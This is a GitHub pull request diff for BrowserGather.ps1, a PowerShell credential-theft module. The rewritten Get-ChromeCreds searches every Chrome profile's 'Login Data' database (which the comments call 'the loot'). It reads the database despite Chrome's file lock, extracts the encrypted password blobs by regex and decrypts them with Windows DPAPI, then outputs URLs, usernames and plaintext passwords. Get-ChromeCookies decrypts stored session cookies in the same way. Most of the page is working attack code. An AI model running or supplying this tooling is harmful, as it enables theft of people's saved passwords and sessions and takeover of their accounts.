Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

rewrite Get-ChromeCreds to be more PowerShell-like #2

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
269 changes: 175 additions & 94 deletions BrowserGather.ps1
@@ -1,89 +1,172 @@
# Instructions: import the module, then perform the commanded needed.
# Currently only supports Chrome credential extraction, more to come!
function Get-ChromeCreds {

# Chrome Credential Extraction
# Use: Get-ChromeCreds [path to Login Data]
# Path is optional, use if automatic search doesn't work
<#
Author : sekirkity
Github : https://github.com/sekirkity

rewritten by
Author : TheRealNoob
Github : https://github.com/TheRealNoob
#>

function Get-ChromeCreds() {
Param(
[String]$Path
)
<#
.SYNOPSIS
Searches Google Chrome databases for saved Usernames & Passwords
.DESCRIPTION
Extracts Chrome credentials from local databases without writing to disk
.PARAMETER OutputAsObject
The default output format is a text/array dump to host.
This changes the format to storing all Chrome profiles under a single object. Recommended to save output to a variable. This is preferable if you plan to do data manipulation.
Format will look like:

if ([String]::IsNullOrEmpty($Path)) {
$Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Login Data"
}
$Object = [PSCustomObject]@{
Default = @(
URL_Username = @()
Password = @()
)
Profile1 = @(
URL_Username = @()
Password = @()
)
SystemProfile = @(
URL_Username = @()
Password = @()
)
}

if (![system.io.file]::Exists($Path))
{
Write-Error 'Chrome db file doesnt exist, or invalid file path specified.'
Break
}
.EXAMPLE
Get-ChromeCreds
.EXAMPLE
$Variable1 = Get-ChromeCreds -OutputAsObject
.OUTPUTS
Default output is a text/array dump to host. Nice and easy if you want to quickly get info.

Add-Type -AssemblyName System.Security
# Credit to Matt Graber for his technique on using regular expressions to search for binary data
$Stream = New-Object IO.FileStream -ArgumentList "$Path", 'Open', 'Read', 'ReadWrite'
$Encoding = [system.Text.Encoding]::GetEncoding(28591)
$StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
$BinaryText = $StreamReader.ReadToEnd()
$StreamReader.Close()
$Stream.Close()
The -OutputAsObject switch changes output format. See Parameter help section for more info.
.NOTES
Help file:
Get-Help Get-ChromeCreds
.LINK
http://sekirkity.com/browsergather-part-1-fileless-chrome-credential-extraction-with-powershell/
https://github.com/sekirkity/BrowserGather
#>

# First the magic bytes for the password. Ends using the "http" for the next entry.
$PwdRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=\x68\x74\x74\x70|\Z)'
$PwdMatches = $PwdRegex.Matches($BinaryText)
$PwdNum = 0
$DecPwdArray = @()
$PwdMatchCount = $PwdMatches.Count

# Decrypt the password macthes and put them in an array
Foreach ($Pwd in $PwdMatches) {
$Pwd = $Encoding.GetBytes($PwdMatches[$PwdNum])
$Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Pwd,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$DecPwd = [System.Text.Encoding]::Default.GetString($Decrypt)
$DecPwdArray += $DecPwd
$PwdNum += 1
}
[CmdletBinding()]
param(
[Switch]$OutputAsObject
)

# Now the magic bytes for URLs/Users. Look behind here is the look ahead for passwords.
$UserRegex = [Regex] '(?<=\x0D\x0D\x0D[\s\S]{2}\x68\x74\x74\x70)[\s\S]*?(?=\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)'
$UserMatches = $UserRegex.Matches($BinaryText)
$UserNum = 0
$UserMatchCount = $UserMatches.Count
$UserArray = @()

# Check to see if number of users matches the number of passwords. If the values are different, very likely that there was a regex mismatch.
# All returned values should be treated with caution if this error is presented. May be out of order.

if (-NOT ($UserMatchCount -eq $PwdMatchCount)) {
$Mismatch = [string]"The number of users is different than the number of passwords! This is most likely due to a regex mismatch."
Write-Error $Mismatch
}

# Add back the "http" used in the regex lookahead
$HTTP = "http"
# Put the URL/User matches into an array
Foreach ($User in $UserMatches) {
$User = $Encoding.GetBytes($UserMatches[$UserNum])
$User = $HTTPEnc + $User
$UserString = [System.Text.Encoding]::Default.GetString($User)
$UserString = $HTTP + $UserString
$UserArray += $UserString
$UserNum += 1
}

# Now create an object to store the previously created arrays
$ArrayFinal = New-Object -TypeName System.Collections.ArrayList
for ($i = 0; $i -lt $UserNum; $i++) {
$ObjectProp = @{
UserURL = $UserArray[$i]
Password = $DecPwdArray[$i]
}

$obj = New-Object PSObject -Property $ObjectProp
$ArrayFinal.Add($obj) | Out-Null
}
$ArrayFinal
Add-Type -AssemblyName System.Security # Necessary to perform password decryption
$OutputObject = New-Object -TypeName psobject

# ******************************
#
# Find "Login Data" databases. This is where the loot is stored.
#
# ******************************

If (Test-Path -Path "$env:localappdata\Google\Chrome\User Data") {
$LoginDataFiles = (Get-ChildItem -Path "$env:localappdata\Google\Chrome\User Data" -Filter 'Login Data' -Recurse -Force).FullName
} else {
Throw 'Chrome database file(s) not found'
}

If (!(Get-Variable -Name 'LoginDataFiles' -ErrorAction SilentlyContinue)) {
Throw 'Chrome database file(s) not found'
}

Foreach ($LoginDataPath in $LoginDataFiles) {

Write-Verbose -Message "Opening DB file: $LoginDataFiles"
$ProfileNameFlattened = ([IO.directoryinfo] "$LoginDataPath").Parent.Name.Replace(' ','')

# ******************************
#
# Read from DB file in Read-Only mode
# This gets around the file lock, allowing us to run without closing Chrome.
#
# ******************************

## Credit to Matt Graber for his technique on using regular expressions to search for binary data
$Stream = New-Object -TypeName IO.FileStream -ArgumentList "$LoginDataPath", 'Open', 'Read', 'ReadWrite'
$Encoding = [Text.Encoding]::GetEncoding(28591)
$StreamReader = New-Object -TypeName IO.StreamReader -ArgumentList $Stream, $Encoding
$LoginDataContent = $StreamReader.ReadToEnd()
$StreamReader.Close()
$Stream.Close()

# ******************************
#
# Find and decrypt password fields
#
# ******************************

## First the magic bytes for the password. Ends using the "http" for the next entry.
$PwdRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=\x68\x74\x74\x70|\Z)'
$PwdListEncrypted = $PwdRegex.Matches($LoginDataContent)
$PwdListDecrypted = @()

## Decrypt the password matches and put them in an array
Foreach ($Password in $PwdListEncrypted) {
$Password = $Encoding.GetBytes($Password)
$PwdDecryptedByteArray = [Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[Security.Cryptography.DataProtectionScope]::CurrentUser)
$PwdListDecrypted += [Text.Encoding]::Default.GetString($PwdDecryptedByteArray)
}

# ******************************
#
# Find and URL/Username fields
# In the DB - URL & Username are stored in separate fields and can be queried that way,
# but due to the simplicity of the field values and the fact that we're using regex it is not possible to seperate them.
#
# ******************************

## Now the magic bytes for URLs/Users. Look behind here is the look ahead for passwords.
$UserRegex = [Regex] '(?<=\x0D\x0D\x0D[\s\S]{2}\x68\x74\x74\x70)[\s\S]*?(?=\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)'
$UserList = ($UserRegex.Matches($LoginDataContent)).Value

## Check to see if number of users matches the number of passwords. If the values are different, very likely that there was a regex mismatch.
## All returned values should be treated with caution if this error is presented. May be out of order.
If ($UserList.Count -ne $PwdListDecrypted.Count) {
Write-Warning -Message 'Found a different number of usernames and passwords! This is likely due to a regex mismatch. You may find that your usernames/passwords do not fit together perfectly.'
}

# ******************************
#
# Format and output everything
#
# ******************************

## Redundancy to figure out what to do in the case of a mismatch
If ($UserList.count -ne $PwdListDecrypted.Count) {
If ($UserList.Count -gt -$PwdListDecrypted.Count) {
$Higher = [int]$UserList.count
} else {
$Higher = [int]$PwdListDecrypted.Count
}
} else {
$Higher = [int]$UserList.count # Pick one since it doesn't matter
}

## Create URL_Username/Password array of current Profile
$OutputArray = New-Object -TypeName System.Collections.ArrayList
For ($i = 0; $i -le $Higher; $i++) {
$object = New-Object -TypeName psobject
$object | Add-Member -MemberType NoteProperty -Name 'URL_Username' -Value $UserList[$i]
$object | Add-Member -MemberType NoteProperty -Name 'Password' -Value $PwdListDecrypted[$i]
$OutputArray += $object
}

If ($OutputAsObject) {
$OutputObject | Add-Member -MemberType NoteProperty -Name "$ProfileNameFlattened" -Value $OutputArray
} else {
Write-Output -InputObject "`n`nProfile found: $ProfileNameFlattened`n"
Write-output -InputObject $OutputArray | Format-List
}
}

If ($OutputAsObject) {
Write-Output -InputObject $OutputObject
}
}

# Chrome Cookie Extraction
Expand All @@ -92,34 +175,32 @@ function Get-ChromeCreds() {

function Get-ChromeCookies() {
Param(
[String]$Path
[ValidateNotNullOrEmpty()]
[String]$Path = "$env:localappdata\Google\Chrome\User Data\Default\Cookies"
)

Add-Type -AssemblyName System.Security

if ([String]::IsNullOrEmpty($Path)) {
$Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Cookies"
}

if (![system.io.file]::Exists($Path))
If (!(Test-Path -Path $Path))
{
Write-Error 'Chrome db file doesnt exist, or invalid file path specified.'
Break
Throw 'Chrome db file doesnt exist, or invalid file path specified.'
}
Add-Type -AssemblyName System.Security
# Credit to Matt Graber for his technique on using regular expressions to search for binary data
$Stream = New-Object IO.FileStream -ArgumentList $Path, 'Open', 'Read', 'ReadWrite'
$Encoding = [system.Text.Encoding]::GetEncoding(28591)
$StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
$BinaryText = $StreamReader.ReadToEnd()
$StreamReader.Close()
$Stream.Close()

# Regex for the encrypted blob. Starting bytes were easy, but the terminating bytes were tricky. Four different scenarios are covered.
$BlobRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=[\s\S]{2}\x97[\s\S]{8}\x00[\s\S]{2}\x0D|\x0D[\s\S]{2}\x00[\s\S]{3}\x00\x02|\x00{20}|\Z)'
$BlobMatches = $BlobRegex.Matches($BinaryText)
$BlobNum = 0
$DecBlobArray = @()
$BlobMatchCount = $BlobMatches.Count

# Attempt to decrypt the blob. If it fails, a null byte is added to the end.
# If it fails again, most likely due to non-contiguous storage. The blob value will be changed.
# Then puts results into an array.
Expand Down Expand Up @@ -156,8 +237,7 @@ function Get-ChromeCookies() {
# All returned values should be treated with caution if this error is presented. May be out of order.

if (-NOT ($CookieMatchCount -eq $BlobMatchCount)) {
$Mismatch = [string]"The number of cookies is different than the number of encrypted blobs! This is most likely due to a regex mismatch."
Write-Error $Mismatch
Write-Warning -Message "The number of cookies is different than the number of encrypted blobs! This is most likely due to a regex mismatch."
}

# Put cookies into an array.
Expand All @@ -183,5 +263,6 @@ function Get-ChromeCookies() {
$obj = New-Object PSObject -Property $ObjectProp
$ArrayFinal.Add($obj) | Out-Null
}
$ArrayFinal
}

Write-Output $ArrayFinal
}